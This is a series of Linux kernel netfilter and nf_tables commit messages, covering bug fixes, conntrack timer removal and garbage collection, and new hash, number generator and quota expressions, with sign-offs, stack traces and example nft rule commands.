Signed-off-by: Gao Feng <fgao@ikuai8.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
The netfilter hook list never uses the prev pointer, and so can be trimmed to
be a simple singly-linked list.
In addition to having a more light weight structure for hook traversal,
struct net becomes 5568 bytes (down from 6400) and struct net_device becomes
2176 bytes (down from 2240).
Signed-off-by: Aaron Conole <aconole@bytheb.org>
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
This commit adds an upfront check for sane values to be passed when
registering a netfilter hook. This will be used in a future patch for a
simplified hook list traversal.
Signed-off-by: Aaron Conole <aconole@bytheb.org>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
All of the callers of nf_hook_slow already hold the rcu_read_lock, so this
cleanup removes the recursive call. This is just a cleanup, as the locking
code gracefully handles this situation.
Signed-off-by: Aaron Conole <aconole@bytheb.org>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
The origin codes perform two condition checks with dst_mtu(skb_dst(skb))
and in_mtu. And the last statement is "min(dst_mtu(skb_dst(skb)),
in_mtu) - minlen". It may let reader think about how about the result.
Would it be negative.
Now assign the result of min(dst_mtu(skb_dst(skb)), in_mtu) to a new
variable, then only perform one condition check, and it is more readable.
Signed-off-by: Gao Feng <fgao@ikuai8.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
We already checked for !found just a bit before:
if (!found) {
regs->verdict.code = NFT_BREAK;
return;
}
if (found && set->flags & NFT_SET_MAP)
^^^^^
So this redundant check can just go away.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
It's better to use sizeof(info->name)-1 as index to force set the string
tail instead of literal number '29'.
Signed-off-by: Gao Feng <fgao@ikuai8.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
There are some codes which are used to get one random once in netfilter.
We could use net_get_random_once to simplify these codes.
Signed-off-by: Gao Feng <fgao@ikuai8.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
pkt->xt.thoff is not always set properly, but we use it without any check.
For payload expr, it will cause wrong results. For nftrace, we may notify
the wrong network or transport header to the user space, furthermore,
input the following nft rules, warning message will be printed out:
# nft add rule arp filter output meta nftrace set 1
WARNING: CPU: 0 PID: 13428 at net/netfilter/nf_tables_trace.c:263
nft_trace_notify+0x4a3/0x5e0 [nf_tables]
Call Trace:
[<ffffffff813d58ae>] dump_stack+0x63/0x85
[<ffffffff810a4c0b>] __warn+0xcb/0xf0
[<ffffffff810a4d3d>] warn_slowpath_null+0x1d/0x20
[<ffffffffa0589703>] nft_trace_notify+0x4a3/0x5e0 [nf_tables]
[ ... ]
[<ffffffffa05690a8>] nft_do_chain_arp+0x78/0x90 [nf_tables_arp]
[<ffffffff816f4aa2>] nf_iterate+0x62/0x80
[<ffffffff816f4b33>] nf_hook_slow+0x73/0xd0
[<ffffffff81732bbf>] arp_xmit+0x8f/0xb0
[ ... ]
[<ffffffff81732d36>] arp_solicit+0x106/0x2c0
So before we use pkt->xt.thoff, check the tprot_set first.
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
There's an off-by-one issue in nft_payload_fast_eval, skb_tail_pointer
and ptr + priv->len all point to the last valid address plus 1. So if
they are equal, we can still fetch the valid data. It's unnecessary to
fall back to nft_payload_eval.
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Currently, the user can specify the queue numbers by _QUEUE_NUM and
_QUEUE_TOTAL attributes, this is enough in most situations.
But acctually, it is not very flexible, for example:
tcp dport 80 mapped to queue0
tcp dport 81 mapped to queue1
tcp dport 82 mapped to queue2
In order to do this thing, we must add 3 nft rules, and more
mapping meant more rules ...
So take one register to select the queue number, then we can add one
simple rule to mapping queues, maybe like this:
queue num tcp dport map { 80:0, 81:1, 82:2 ... }
Florian Westphal also proposed wider usage scenarios:
queue num jhash ip saddr . ip daddr mod ...
queue num meta cpu ...
queue num meta mark ...
The last point is how to load a queue number from sreg, although we can
use *(u16*)®s->data[reg] to load the queue number, just like nat expr
to load its l4port do.
But we will cooperate with hash expr, meta cpu, meta mark expr and so on.
They all store the result to u32 type, so cast it to u16 pointer and
dereference it will generate wrong result in the big endian system.
So just keep it simple, we treat queue number as u32 type, although u16
type is already enough.
Suggested-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Fetch value and validate u32 netlink attribute. This validation is
usually required when the u32 netlink attributes are being stored in a
field whose size is smaller.
This patch revisits 4da449ae1d ("netfilter: nft_exthdr: Add size check
on u8 nft_exthdr attributes").
Fixes: 96518518cc ("netfilter: add nftables")
Suggested-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Laura Garcia Liebana <nevola@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Add support of an offset value for incremental counter and random. With
this option the sysadmin is able to start the counter to a certain value
and then apply the generated number.
Example:
meta mark set numgen inc mod 2 offset 100
This will generate marks with the serie 100, 101, 100, 101, ...
Suggested-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Laura Garcia Liebana <nevola@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
To something more meaningful these days, specially because this is
working on packet headers or lengths and which are not tied to any CPU
arch but to the protocol itself.
So, WORD_TRUNC becomes SCTP_TRUNC4 and WORD_ROUND becomes SCTP_PAD4.
Reported-by: David Laight <David.Laight@ACULAB.COM>
Reported-by: David Miller <davem@davemloft.net>
Signed-off-by: Marcelo Ricardo Leitner <marcelo.leitner@gmail.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
Add _nf_register_hooks() and _nf_unregister_hooks() calls which allow
caller to hold RTNL mutex.
Signed-off-by: Mahesh Bandewar <maheshb@google.com>
CC: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: David S. Miller <davem@davemloft.net>
When memory is exhausted, nfct_seqadj_ext_add may fail to add the
synproxy and seqadj extensions. The function nf_ct_seqadj_init doesn't
check if get valid seqadj pointer by the nfct_seqadj.
Now drop the packet directly when fail to add seqadj extension to
avoid dereference NULL pointer in nf_ct_seqadj_init from
init_conntrack().
Signed-off-by: Gao Feng <fgao@ikuai8.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
The overflow validation in the init() function establishes that the
maximum value that the hash could reach is less than U32_MAX, which is
likely to be true.
The fix detects the overflow when the maximum hash value is less than
the offset itself.
Fixes: 70ca767ea1 ("netfilter: nft_hash: Add hash offset value")
Reported-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Laura Garcia Liebana <nevola@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Conflicts:
drivers/net/ethernet/mediatek/mtk_eth_soc.c
drivers/net/ethernet/qlogic/qed/qed_dcbx.c
drivers/net/phy/Kconfig
All conflicts were cases of overlapping commits.
Signed-off-by: David S. Miller <davem@davemloft.net>
nf_nat_setup_info() returns NF_* verdicts, so convert them to error
codes that is what ctnelink expects. This has passed overlook without
having any impact since this nf_nat_setup_info() has always returned
NF_ACCEPT so far. Since 870190a9ec ("netfilter: nat: convert nat bysrc
hash to rhashtable"), this is problem.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
After we generate a new number, we still use the priv->counter and
store it to the dreg. This is not correct, another cpu may already
change it to a new number. So we must use the generated number, not
the priv->counter itself.
Fixes: 91dbc6be0a ("netfilter: nf_tables: add number generator expression")
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
These counters sit in hot path and do show up in perf, this is especially
true for 'found' and 'searched' which get incremented for every packet
processed.
Information like
searched=212030105
new=623431
found=333613
delete=623327
does not seem too helpful nowadays:
- on busy systems found and searched will overflow every few hours
(these are 32bit integers), other more busy ones every few days.
- for debugging there are better methods, such as iptables' trace target,
the conntrack log sysctls. Nowadays we also have perf tool.
This removes packet path stat counters except those that
are expected to be 0 (or close to 0) on a normal system, e.g.
'insert_failed' (race happened) or 'invalid' (proto tracker rejects).
The insert stat is retained for the ctnetlink case.
The found stat is retained for the tuple-is-taken check when NAT has to
determine if it needs to pick a different source address.
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
There are some codes of netfilter module which did not check the return
value of nft_register_chain_type. Add the checks now.
Signed-off-by: Gao Feng <fgao@ikuai8.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
There are some codes of netfilter module which did not check the return
value of register_netdevice_notifier. Add the checks now.
Signed-off-by: Gao Feng <fgao@ikuai8.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
These functions are extracted from the netdev family, they initialize
the pktinfo structure and validate that the IPv4 and IPv6 headers are
well-formed given that these functions are called from a path where
layer 3 sanitization did not happen yet.
These functions are placed in include/net/netfilter/nf_tables_ipv{4,6}.h
so they can be reused by a follow up patch to use them from the bridge
family too.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
This patch introduces nft_set_pktinfo_unspec() that ensures proper
initialization all of pktinfo fields for non-IP traffic. This is used
by the bridge, netdev and arp families.
This new function relies on nft_set_pktinfo_proto_unspec() to set a new
tprot_set field that indicates if transport protocol information is
available. Remain fields are zeroed.
The meta expression has been also updated to check to tprot_set in first
place given that zero is a valid tprot value. Even a handcrafted packet
may come with the IPPROTO_RAW (255) protocol number so we can't rely on
this value as tprot unset.
Reported-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
The dynset expression matches if we can fit a new entry into the set.
If there is no room for it, then it breaks the rule evaluation.
This patch introduces the inversion flag so you can add rules to
explicitly drop packets that don't fit into the set. For example:
# nft filter input flow table xyz size 4 { ip saddr timeout 120s counter } overflow drop
This is useful to provide a replacement for connlimit.
For the rule above, every new entry uses the IPv4 address as key in the
set, this entry gets a timeout of 120 seconds that gets refresh on every
packet seen. If we get new flow and our set already contains 4 entries
already, then this packet is dropped.
You can already express this in positive logic, assuming default policy
to drop:
# nft filter input flow table xyz size 4 { ip saddr timeout 10s counter } accept
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Add support to pass through an offset to the hash value. With this
feature, the sysadmin is able to generate a hash with a given
offset value.
Example:
meta mark set jhash ip saddr mod 2 seed 0xabcd offset 100
This option generates marks according to the source address from 100 to
101.
Signed-off-by: Laura Garcia Liebana <nevola@gmail.com>
Although the validation of queues_total and queuenum is checked in nft
utility, but user can add nft rules via nfnetlink, so it is necessary
to check the validation at the nft_queue expr init routine too.
Tested by run ./nft-test.py any/queue.t:
any/queue.t: 6 unit tests, 0 error, 0 warning
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Current parsing methods for SIP headers do not allow the presence of
tab characters between header name and header value. As a result Call-ID
SIP headers like the following are discarded by IPVS SIP persistence
engine:
"Call-ID\t: mycallid@abcde"
"Call-ID:\tmycallid@abcde"
In above examples Call-IDs are represented as strings in C language.
Obviously in real message we have byte "09" before/after colon (":").
Proposed fix is in nf_conntrack_sip module.
Function sip_skip_whitespace() should skip tabs in addition to spaces,
since in SIP grammar whitespace (WSP) corresponds to space or tab.
Below is an extract of relevant SIP ABNF syntax.
Call-ID = ( "Call-ID" / "i" ) HCOLON callid
callid = word [ "@" word ]
HCOLON = *( SP / HTAB ) ":" SWS
SWS = [LWS] ; sep whitespace
LWS = [*WSP CRLF] 1*WSP ; linear whitespace
WSP = SP / HTAB
word = 1*(alphanum / "-" / "." / "!" / "%" / "*" /
"_" / "+" / "`" / "'" / "~" /
"(" / ")" / "<" / ">" /
":" / "\" / DQUOTE /
"/" / "[" / "]" / "?" /
"{" / "}" )
Signed-off-by: Marco Angaroni <marcoangaroni@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
This is patch renames the existing function to nft_overquota() and make
it return a boolean that tells us if we have exceeded our byte quota.
Just a cleanup.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Use xor to decide to break further rule evaluation or not, since the
existing logic doesn't achieve the expected inversion.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
The _until_ attribute is renamed to _modulus_ as the behaviour is similar to
other expresions with number limits (ex. nft_hash).
Renaming is possible because there isn't a kernel release yet with these
changes.
Signed-off-by: Laura Garcia Liebana <nevola@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
There are some debug code which are commented out in find_pattern by #if 0.
Now remove them.
Signed-off-by: Gao Feng <fgao@ikuai8.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
The caller function "help" has already make sure the datalen could not be zero
before invoke find_pattern as a parameter by the following codes
if (dataoff >= skb->len) {
pr_debug("ftp: dataoff(%u) >= skblen(%u)\n", dataoff,
skb->len);
return NF_ACCEPT;
}
datalen = skb->len - dataoff;
And the latter codes "ends_in_nl = (fb_ptr[datalen - 1] == '\n');" use datalen
directly without checking if it is zero.
So it is unneccessary to check it in find_pattern too.
Signed-off-by: Gao Feng <fgao@ikuai8.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Current parsing methods for SIP header Call-ID do not check correctly all
characters allowed by RFC 3261. In particular "," character is allowed
instead of "'" character. As a result Call-ID headers like the following
are discarded by IPVS SIP persistence engine.
Call-ID: -.!%*_+`'~()<>:\"/[]?{}
Above example is composed using all non-alphanumeric characters listed
in RFC 3261 for Call-ID header syntax.
Proposed fix is in nf_conntrack_sip module; function iswordc() checks this
range: (c >= '(' && c <= '/') which includes these characters: ()*+,-./
They are all allowed except ",". Instead "'" is not included in the list.
Below is an extract of relevant SIP ABNF syntax.
Call-ID = ( "Call-ID" / "i" ) HCOLON callid
callid = word [ "@" word ]
HCOLON = *( SP / HTAB ) ":" SWS
SWS = [LWS] ; sep whitespace
LWS = [*WSP CRLF] 1*WSP ; linear whitespace
WSP = SP / HTAB
word = 1*(alphanum / "-" / "." / "!" / "%" / "*" /
"_" / "+" / "`" / "'" / "~" /
"(" / ")" / "<" / ">" /
":" / "\" / DQUOTE /
"/" / "[" / "]" / "?" /
"{" / "}" )
Signed-off-by: Marco Angaroni <marcoangaroni@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Current parsing methods for SIP headers do not properly manage
continuation lines: in case of Call-ID header the first character of
Call-ID header value is truncated. As a result IPVS SIP persistence
engine hashes over a call-id that is not exactly the one present in
the originale message.
Example: "Call-ID: \r\n abcdeABCDE1234"
results in extracted call-id equal to "bcdeABCDE1234".
In above example Call-ID is represented as a string in C language.
Obviously in real message the first bytes after colon (":") are
"20 0d 0a 20".
Proposed fix is in nf_conntrack_sip module.
Since sip_follow_continuation() function walks past the leading
spaces or tabs of the continuation line, sip_skip_whitespace()
should simply return the ouput of sip_follow_continuation().
Otherwise another iteration of the for loop is done and dptr
is incremented by one pointing to the second character of the
first word in the header.
Below is an extract of relevant SIP ABNF syntax.
Call-ID = ( "Call-ID" / "i" ) HCOLON callid
callid = word [ "@" word ]
HCOLON = *( SP / HTAB ) ":" SWS
SWS = [LWS] ; sep whitespace
LWS = [*WSP CRLF] 1*WSP ; linear whitespace
WSP = SP / HTAB
word = 1*(alphanum / "-" / "." / "!" / "%" / "*" /
"_" / "+" / "`" / "'" / "~" /
"(" / ")" / "<" / ">" /
":" / "\" / DQUOTE /
"/" / "[" / "]" / "?" /
"{" / "}" )
Signed-off-by: Marco Angaroni <marcoangaroni@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
There are two existing strutures which defines the GRE and PPTP header.
So use these two structures instead of the ones defined by netfilter to
keep consitent with other codes.
Signed-off-by: Gao Feng <fgao@ikuai8.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
There are already some GRE_* macros in kernel, so it is unnecessary
to define these macros. And remove some useless macros
Signed-off-by: Gao Feng <fgao@ikuai8.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Pablo Neira Ayuso says:
====================
Netfilter updates for net-next
The following patchset contains Netfilter updates for your net-next
tree. Most relevant updates are the removal of per-conntrack timers to
use a workqueue/garbage collection approach instead from Florian
Westphal, the hash and numgen expression for nf_tables from Laura
Garcia, updates on nf_tables hash set to honor the NLM_F_EXCL flag,
removal of ip_conntrack sysctl and many other incremental updates on our
Netfilter codebase.
More specifically, they are:
1) Retrieve only 4 bytes to fetch ports in case of non-linear skb
transport area in dccp, sctp, tcp, udp and udplite protocol
conntrackers, from Gao Feng.
2) Missing whitespace on error message in physdev match, from Hangbin Liu.
3) Skip redundant IPv4 checksum calculation in nf_dup_ipv4, from Liping Zhang.
4) Add nf_ct_expires() helper function and use it, from Florian Westphal.
5) Replace opencoded nf_ct_kill() call in IPVS conntrack support, also
from Florian.
6) Rename nf_tables set implementation to nft_set_{name}.c
7) Introduce the hash expression to allow arbitrary hashing of selector
concatenations, from Laura Garcia Liebana.
8) Remove ip_conntrack sysctl backward compatibility code, this code has
been around for long time already, and we have two interfaces to do
this already: nf_conntrack sysctl and ctnetlink.
9) Use nf_conntrack_get_ht() helper function whenever possible, instead
of opencoding fetch of hashtable pointer and size, patch from Liping Zhang.
10) Add quota expression for nf_tables.
11) Add number generator expression for nf_tables, this supports
incremental and random generators that can be combined with maps,
very useful for load balancing purpose, again from Laura Garcia Liebana.
12) Fix a typo in a debug message in FTP conntrack helper, from Colin Ian King.
13) Introduce a nft_chain_parse_hook() helper function to parse chain hook
configuration, this is used by a follow up patch to perform better chain
update validation.
14) Add rhashtable_lookup_get_insert_key() to rhashtable and use it from the
nft_set_hash implementation to honor the NLM_F_EXCL flag.
15) Missing nulls check in nf_conntrack from nf_conntrack_tuple_taken(),
patch from Florian Westphal.
16) Don't use the DYING bit to know if the conntrack event has been already
delivered, instead a state variable to track event re-delivery
states, also from Florian.
17) Remove the per-conntrack timer, use the workqueue approach that was
discussed during the NFWS, from Florian Westphal.
18) Use the netlink conntrack table dump path to kill stale entries,
again from Florian.
19) Add a garbage collector to get rid of stale conntracks, from
Florian.
20) Reschedule garbage collector if eviction rate is high.
21) Get rid of the __nf_ct_kill_acct() helper.
22) Use ARPHRD_ETHER instead of hardcoded 1 from ARP logger.
23) Make nf_log_set() interface assertive on unsupported families.
====================
Signed-off-by: David S. Miller <davem@davemloft.net>
NFTA_TRACE_POLICY attribute is big endian, but we forget to call
htonl to convert it. Fortunately, this attribute is parsed as big
endian in libnftnl.
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
The nf_log_set is an interface function, so it should do the strict sanity
check of parameters. Convert the return value of nf_log_set as int instead
of void. When the pf is invalid, return -EOPNOTSUPP.
Signed-off-by: Gao Feng <fgao@ikuai8.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
After timer removal this just calls nf_ct_delete so remove the __ prefix
version and make nf_ct_kill a shorthand for nf_ct_delete.
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
If we evicted a large fraction of the scanned conntrack entries re-schedule
the next gc cycle for immediate execution.
This triggers during tests where load is high, then drops to zero and
many connections will be in TW/CLOSE state with < 30 second timeouts.
Without this change it will take several minutes until conntrack count
comes back to normal.
Signed-off-by: Florian Westphal <fw@strlen.de>
Acked-by: Eric Dumazet <edumazet@google.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Conntrack gc worker to evict stale entries.
GC happens once every 5 seconds, but we only scan at most 1/64th of the
table (and not more than 8k) buckets to avoid hogging cpu.
This means that a complete scan of the table will take several minutes
of wall-clock time.
Considering that the gc run will never have to evict any entries
during normal operation because those will happen from packet path
this should be fine.
We only need gc to make sure userspace (conntrack event listeners)
eventually learn of the timeout, and for resource reclaim in case the
system becomes idle.
We do not disable BH and cond_resched for every bucket so this should
not introduce noticeable latencies either.
A followup patch will add a small change to speed up GC for the extreme
case where most entries are timed out on an otherwise idle system.
v2: Use cond_resched_rcu_qs & add comment wrt. missing restart on
nulls value change in gc worker, suggested by Eric Dumazet.
v3: don't call cancel_delayed_work_sync twice (again, Eric).
Signed-off-by: Florian Westphal <fw@strlen.de>
Acked-by: Eric Dumazet <edumazet@google.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
When dumping we already have to look at the entire table, so we might
as well toss those entries whose timeout value is in the past.
We also look at every entry during resize operations.
However, eviction there is not as simple because we hold the
global resize lock so we can't evict without adding a 'expired' list
to drop from later. Considering that resizes are very rare it doesn't
seem worth doing it.
Signed-off-by: Florian Westphal <fw@strlen.de>
Acked-by: Eric Dumazet <edumazet@google.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
With stats enabled this eats 80 bytes on x86_64 per nf_conn entry, as
Eric Dumazet pointed out during netfilter workshop 2016.
Eric also says: "Another reason was the fact that Thomas was about to
change max timer range [..]" (500462a9de, 'timers: Switch to
a non-cascading wheel').
Remove the timer and use a 32bit jiffies value containing timestamp until
entry is valid.
During conntrack lookup, even before doing tuple comparision, check
the timeout value and evict the entry in case it is too old.
The dying bit is used as a synchronization point to avoid races where
multiple cpus try to evict the same entry.
Because lookup is always lockless, we need to bump the refcnt once
when we evict, else we could try to evict already-dead entry that
is being recycled.
This is the standard/expected way when conntrack entries are destroyed.
Followup patches will introduce garbage colliction via work queue
and further places where we can reap obsoleted entries (e.g. during
netlink dumps), this is needed to avoid expired conntracks from hanging
around for too long when lookup rate is low after a busy period.
Signed-off-by: Florian Westphal <fw@strlen.de>
Acked-by: Eric Dumazet <edumazet@google.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
The reliable event delivery mode currently (ab)uses the DYING bit to
detect which entries on the dying list have to be skipped when
re-delivering events from the eache worker in reliable event mode.
Currently when we delete the conntrack from main table we only set this
bit if we could also deliver the netlink destroy event to userspace.
If we fail we move it to the dying list, the ecache worker will
reattempt event delivery for all confirmed conntracks on the dying list
that do not have the DYING bit set.
Once timer is gone, we can no longer use if (del_timer()) to detect
when we 'stole' the reference count owned by the timer/hash entry, so
we need some other way to avoid racing with other cpu.
Pablo suggested to add a marker in the ecache extension that skips
entries that have been unhashed from main table but are still waiting
for the last reference count to be dropped (e.g. because one skb waiting
on nfqueue verdict still holds a reference).
We do this by adding a tristate.
If we fail to deliver the destroy event, make a note of this in the
eache extension. The worker can then skip all entries that are in
a different state. Either they never delivered a destroy event,
e.g. because the netlink backend was not loaded, or redelivery took
place already.
Once the conntrack timer is removed we will now be able to replace
del_timer() test with test_and_set_bit(DYING, &ct->status) to avoid
racing with other cpu that tries to evict the same conntrack.
Because DYING will then be set right before we report the destroy event
we can no longer skip event reporting when dying bit is set.
Suggested-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Florian Westphal <fw@strlen.de>
Acked-by: Eric Dumazet <edumazet@google.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
In case nf_conntrack_tuple_taken did not find a conflicting entry
check that all entries in this hash slot were tested and restart
in case an entry was moved to another chain.
Reported-by: Eric Dumazet <edumazet@google.com>
Fixes: ea781f197d ("netfilter: nf_conntrack: use SLAB_DESTROY_BY_RCU and get rid of call_rcu()")
Signed-off-by: Florian Westphal <fw@strlen.de>
Acked-by: Eric Dumazet <edumazet@google.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
We have already use skb_header_pointer to get the ip header pointer,
so there's no need to use ip_hdr again. Moreover, in NETDEV INGRESS
hook, ip header maybe not linear, so use ip_hdr is not appropriate,
remove it.
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
nft_dump_register() should only be used with registers, not with
immediates.
Fixes: cb1b69b0b1 ("netfilter: nf_tables: add hash expression")
Fixes: 91dbc6be0a62("netfilter: nf_tables: add number generator expression")
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
If the NLM_F_EXCL flag is set, then new elements that clash with an
existing one return EEXIST. In case you try to add an element whose
data area differs from what we have, then this returns EBUSY. If no
flag is specified at all, then this returns success to userspace.
This patch also update the set insert operation so we can fetch the
existing element that clashes with the one you want to add, we need
this to make sure the element data doesn't differ.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
"meta pkttype set" is only supported on prerouting chain with bridge
family and ingress chain with netdev family.
But the validate check is incomplete, and the user can add the nft
rules on input chain with bridge family, for example:
# nft add table bridge filter
# nft add chain bridge filter input {type filter hook input \
priority 0 \;}
# nft add chain bridge filter test
# nft add rule bridge filter test meta pkttype set unicast
# nft add rule bridge filter input jump test
This patch fixes the problem.
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
KASAN reported this bug:
BUG: KASAN: use-after-free in icmp_packet+0x25/0x50 [nf_conntrack_ipv4] at
addr ffff880002db08c8
Read of size 4 by task lt-nf-queue/19041
Call Trace:
<IRQ> [<ffffffff815eeebb>] dump_stack+0x63/0x88
[<ffffffff813386f8>] kasan_report_error+0x528/0x560
[<ffffffff81338cc8>] kasan_report+0x58/0x60
[<ffffffffa07393f5>] ? icmp_packet+0x25/0x50 [nf_conntrack_ipv4]
[<ffffffff81337551>] __asan_load4+0x61/0x80
[<ffffffffa07393f5>] icmp_packet+0x25/0x50 [nf_conntrack_ipv4]
[<ffffffffa06ecaa0>] nf_conntrack_in+0x550/0x980 [nf_conntrack]
[<ffffffffa06ec550>] ? __nf_conntrack_confirm+0xb10/0xb10 [nf_conntrack]
[ ... ]
The main reason is that we missed to unlink the timeout objects in the
unconfirmed ct lists, so we will access the timeout objects that have
already been freed.
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
We forget to call nf_ct_l4proto_put when replacing the existing
timeout policy. Acctually, there's no need to get ct l4proto
before doing replace, so we can move it to a later position.
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
cttimeout and acct objects are deleted from the list while traversing
it, so use list_for_each_entry is unsafe here.
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
After I add the nft rule "nft add rule filter prerouting reject
with tcp reset", kernel panic happened on my system:
NULL pointer dereference at ...
IP: [<ffffffff81b9db2f>] nf_send_reset+0xaf/0x400
Call Trace:
[<ffffffff81b9da80>] ? nf_reject_ip_tcphdr_get+0x160/0x160
[<ffffffffa0928061>] nft_reject_ipv4_eval+0x61/0xb0 [nft_reject_ipv4]
[<ffffffffa08e836a>] nft_do_chain+0x1fa/0x890 [nf_tables]
[<ffffffffa08e8170>] ? __nft_trace_packet+0x170/0x170 [nf_tables]
[<ffffffffa06e0900>] ? nf_ct_invert_tuple+0xb0/0xc0 [nf_conntrack]
[<ffffffffa07224d4>] ? nf_nat_setup_info+0x5d4/0x650 [nf_nat]
[...]
Because in the PREROUTING chain, routing information is not exist,
then we will dereference the NULL pointer and oops happen.
So we restrict reject expression to INPUT, FORWARD and OUTPUT chain.
This is consistent with iptables REJECT target.
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Currently, if you add a base chain whose name clashes with an existing
non-base chain, nf_tables doesn't complain about this. Similarly, if you
update the chain type, the hook number and priority.
With this patch, nf_tables bails out in case any of this unsupported
operations occur by returning EBUSY.
# nft add table x
# nft add chain x y
# nft add chain x y { type nat hook input priority 0\; }
<cmdline>:1:1-49: Error: Could not process rule: Device or resource busy
add chain x y { type nat hook input priority 0; }
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Introduce a new function to wrap the code that parses the chain hook
configuration so we can reuse this code to validate chain updates.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Fixes the following sparse warning:
net/netfilter/nft_hash.c:40:25: warning:
symbol 'nft_hash_policy' was not declared. Should it be static?
Signed-off-by: Wei Yongjun <weiyongjun1@huawei.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
trivial fix to spelling mistake in pr_debug message
Signed-off-by: Colin Ian King <colin.king@canonical.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
This patch adds the numgen expression that allows us to generated
incremental and random numbers, this generator is bound to a upper limit
that is specified by userspace.
This expression is useful to distribute packets in a round-robin fashion
as well as randomly.
Signed-off-by: Laura Garcia Liebana <nevola@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
This patch adds the quota expression. This new stateful expression
integrate easily into the dynset expression to build 'hashquota' flow
tables.
Arguably, we could use instead "counter bytes > 1000" instead, but this
approach has several problems:
1) We only support for one single stateful expression in dynamic set
definitions, and the expression above is a composite of two
expressions: get counter + comparison.
2) We would need to restore the packed counter representation (that we
used to have) based on seqlock to synchronize this, since per-cpu is
not suitable for this.
So instead of bloating the counter expression back with the seqlock
representation and extending the existing set infrastructure to make it
more complex for the composite described above, let's follow the more
simple approach of adding a quota expression that we can plug into our
existing infrastructure.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
This is required to iterate over the hash table in cttimeout, ctnetlink
and nf_conntrack_ipv4.
